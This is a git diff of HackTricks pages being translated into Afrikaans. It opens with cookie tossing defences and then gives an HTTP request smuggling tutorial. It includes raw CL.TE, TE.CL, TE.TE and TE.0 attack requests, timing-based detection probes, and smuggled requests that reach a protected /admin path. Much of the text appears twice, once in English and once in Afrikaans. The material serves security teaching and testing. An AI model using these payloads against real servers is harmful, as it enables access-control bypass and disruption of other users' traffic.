Nog 'n nuttige **omseiling** kan wees om **die naam van die koekie te URL-kodeer** aangesien sommige beskermings vir 2 koekies met dieselfde naam in 'n versoek kyk en dan sal die bediener die name van die koekies dekodeer.
### Cookie Bomb
### Koekie Bom
A Cookie Tossing attack may also be used to perform a **Cookie Bomb** attack:
'n Koekie Tossing aanval kan ook gebruik word om 'n **Koekie Bom** aanval uit te voer:
{{#ref}}
cookie-bomb.md
{{#endref}}
### Defense**s**
### Verdedigings
#### **Use the prefix `__Host` in the cookie name**
#### **Gebruik die voorvoegsel `__Host` in die koekie naam**
- If a cookie name has this prefix, it **will only be accepted** in a Set-Cookie directive if it is marked Secure, was sent from a secure origin, does not include a Domain attribute, and has the Path attribute set to /
- **This prevents subdomains from forcing a cookie to the apex domain since these cookies can be seen as "domain-locked"**
- As 'n koekie naam hierdie voorvoegsel het, **sal dit net aanvaar word** in 'n Set-Cookie riglyn as dit gemerk is as Veilig, van 'n veilige oorsprong gestuur is, nie 'n Domein attribuut insluit nie, en die Pad attribuut op / gestel is.
- **Dit voorkom dat subdomeine 'n koekie aan die apex domein kan afdwing aangesien hierdie koekies as "domein-geslote" beskou kan word.**
### References
### Verwysings
- [**@blueminimal**](https://twitter.com/blueminimal)
- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
- [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
- [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
- [**Koekies Krummel: Ontsluiting van Web Sessie Integriteit Kwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,175 +4,174 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploitte om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## What is
## Wat is
This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\
This allows a user to **modify the next request that arrives to the back-end server after his**.
Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalansering/omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** word.\
Dit laat 'n gebruiker toe om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**.
### Theory
### Teorie
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
[**RFC Spesifikasie (2161)**](https://tools.ietf.org/html/rfc2616)
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
> As 'n boodskap ontvang word met beide 'n Transfer-Encoding kopveld en 'n Content-Length kopveld, moet laasgenoemde geïgnoreer word.
**Content-Length**
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
> Die Content-Length entiteit kopveld dui die grootte van die entiteit-liggaam, in bytes, wat na die ontvanger gestuur word, aan.
**Transfer-Encoding: chunked**
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\
> Chunked beteken dat groot data in 'n reeks stukke gestuur word.
### Reality
### Realiteit
The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\
This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**.
Die **Front-End** (n laaibalansering / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïterpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingesluit is** sal **interpreteer** asof dit **van die volgende kliënt** kom en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingeslote versoek**.
### Particularities
### Besonderhede
Remember that in HTTP **a new line character is composed by 2 bytes:**
Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
- **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**.
- **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
- **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
- **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**.
- **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
- **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
## Basic Examples
## Basiese Voorbeelde
> [!TIP]
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
> Wanneer jy probeer om dit met Burp Suite te benut, **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
### Basic Examples of Vulnerability Types
### Basiese Voorbeelde van Kwesbaarheidstipes
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
> By die vorige tabel moet jy die TE.0 tegniek byvoeg, soos die CL.0 tegniek maar met Transfer Encoding.
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
#### CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End)
- **Front-End (CL):** Processes the request based on the `Content-Length` header.
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Attack Scenario:**
- **Front-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld.
- **Back-End (TE):** Verwerk die versoek gebaseer op die `Transfer-Encoding` kopveld.
- **Aanval Scenario:**
- The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
- The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
- The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
- **Example:**
- Die aanvaller stuur 'n versoek waar die waarde van die `Content-Length` kopveld nie ooreenstem met die werklike inhoudslengte nie.
- Die front-end bediener stuur die hele versoek na die back-end, gebaseer op die `Content-Length` waarde.
- Die back-end bediener verwerk die versoek as chunked weens die `Transfer-Encoding: chunked` kopveld, wat die oorblywende data as 'n aparte, daaropvolgende versoek interpreteer.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
0
GET /404 HTTP/1.1
Foo: x
```
GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
#### TE.CL Kwesbaarheid (Transfer-Encoding gebruik deur Front-End, Content-Length gebruik deur Back-End)
- **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Back-End (CL):** Processes the request based on the `Content-Length` header.
- **Attack Scenario:**
- **Front-End (TE):** Verwerk die versoek gebaseer op die `Transfer-Encoding` kopveld.
- **Back-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld.
- **Aanval Scenario:**
- The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
- The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
- The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
- **Example:**
- Die aanvaller stuur 'n chunked versoek waar die stukgrootte (`7b`) en werklike inhoudslengte (`Content-Length: 4`) nie ooreenstem nie.
- Die front-end bediener, wat `Transfer-Encoding` respekteer, stuur die hele versoek na die back-end.
- Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
x=
0
```
```
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskering)
- **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
- **Attack Scenario:**
- **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskering.
- **Aanval Scenario:**
- The attacker sends a request with obfuscated `Transfer-Encoding` headers.
- Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
- The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
- **Example:**
- Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde.
- Afhangende van watter bediener (front-end of back-end) nie die obfuskering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid benut word.
- Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
#### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)**
- Both servers process the request based solely on the `Content-Length` header.
- This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
- **Example:**
- Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld.
- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
```
Normale Versoek
```
#### **CL.0 Scenario**
- Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
- It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
- **Example:**
- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoekliggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
- Dit is belangrik om smuggling aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
```
Nie-Empty Liggaam
```
#### TE.0 Scenario
- Like the previous one but using TE
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
- Soos die vorige een maar met TE
- Tegniek [gerapporteer hier](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Voorbeeld:**
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -190,115 +189,111 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Breek die webbediener
#### Breaking the web server
Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n **webbediener te breek terwyl die aanvanklike HTTP-data gelees word** maar **sonder om die verbinding te sluit**. Op hierdie manier sal die **liggaam** van die HTTP-versoek as die **volgende HTTP-versoek** beskou word.
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), was dit in Werkzeug moontlik om 'n paar **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP-versoek** hanteer word.
For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request wont be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
#### Forcing via hop-by-hop headers
Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
#### Dwing via hop-by-hop koptekste
Deur hop-by-hop koptekste te misbruik, kan jy die proxy aandui om die koptekst **Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP-versoek smuggling misbruik kan word**.
```
Connection: Content-Length
```
For **more information about hop-by-hop headers** visit:
Vir **meer inligting oor hop-by-hop headers** besoek:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Finding HTTP Request Smuggling
## Vind HTTP Request Smuggling
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te detecteer. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:
### Finding CL.TE Vulnerabilities Using Timing Techniques
### Vind CL.TE Kwesbaarhede Met Tydtegnieke
- **Method:**
- **Metode:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
- Stuur 'n versoek wat, as die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
```
1
A
0
```
- **Observation:**
- The front-end server processes the request based on `Content-Length` and cuts off the message prematurely.
- The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.
- **Waarneming:**
- Die voorste bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
- Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
- **Indicators:**
- Timeouts or long delays in response.
- Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.
- **Aanduiders:**
- Timeouts of lang vertraging in reaksie.
- Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.
### Finding TE.CL Vulnerabilities Using Timing Techniques
### Vind TE.CL Kwesbaarhede Met Tydtegnieke
- **Method:**
- **Metode:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
- Stuur 'n versoek wat, as die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
- **Voorbeeld:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
```
0
X
```
- **Observation:**
- The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message.
- The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay.
- **Waarneming:**
- Die voorste bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
- Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
### Other Methods to Find Vulnerabilities
### Ander Metodes om Kwesbaarhede te Vind
- **Differential Response Analysis:**
- Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
- **Using Automated Tools:**
- Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
- **Content-Length Variance Tests:**
- Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches.
- **Transfer-Encoding Variance Tests:**
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
- **Differensiële Responsanalise:**
- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n parsingsverskil aandui.
- **Gebruik van Geoutomatiseerde Gereedskap:**
- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van ambigue versoeke te stuur en die reaksies te analiseer.
- **Content-Length Variansetoetse:**
- Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en observeer hoe die bediener sulke wanbalanse hanteer.
- **Transfer-Encoding Variansetoetse:**
- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrondbedieners op sulke manipulasies reageer.
### HTTP Request Smuggling Vulnerability Testing
### HTTP Request Smuggling Kwesbaarheidstoetsing
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](./#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliënt versoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte daarvan dat die kliënt poog om toegang tot 'n ander hulpbron te verkry.
**Key Considerations**
**Belangrike Oorwegings**
When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:
Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïnvloed, hou in gedagte:
- **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
- **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
- **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
- **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
- **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
- **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
- **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
- **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te detecteer, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
- **Laai Balansuitdagings:** Voorste bedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai balanseer aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
- **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir detectie nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
## Abusing HTTP Request Smuggling
## Misbruik van HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
### Omseiling van Voorste Sekuriteit deur HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Soms handhaaf voorste proxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorste proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n gat laat om hierdie beperkings te omseil.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
**CL.TE Example**
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorste sekuriteitsbeheermaatreëls te omseil, spesifiek teiken die `/admin` pad wat tipies deur die voorste proxy beskerm word:
**CL.TE Voorbeeld**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -315,11 +310,9 @@ Content-Length: 10
x=
```
In die CL.TE-aanval word die `Content-Length` kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked` kop gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek, maar slaag nie daarin om die ingebedde `GET /admin` versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin` pad toelaat.
In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.
**TE.CL Example**
**TE.CL Voorbeeld**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -335,15 +328,13 @@ a=x
0
```
In teenstelling, in die TE.CL-aanval, gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingebedde versoek word verwerk op grond van die `Content-Length`-kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde `GET /admin`-versoek, wat per ongeluk toegang tot die beperkte `/admin`-pad verleen.
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
### Onthulling van front-end versoek herskrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.
To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP van die kliënt>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan noodsaaklik wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST-parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -360,21 +351,19 @@ Content-Length: 100
search=
```
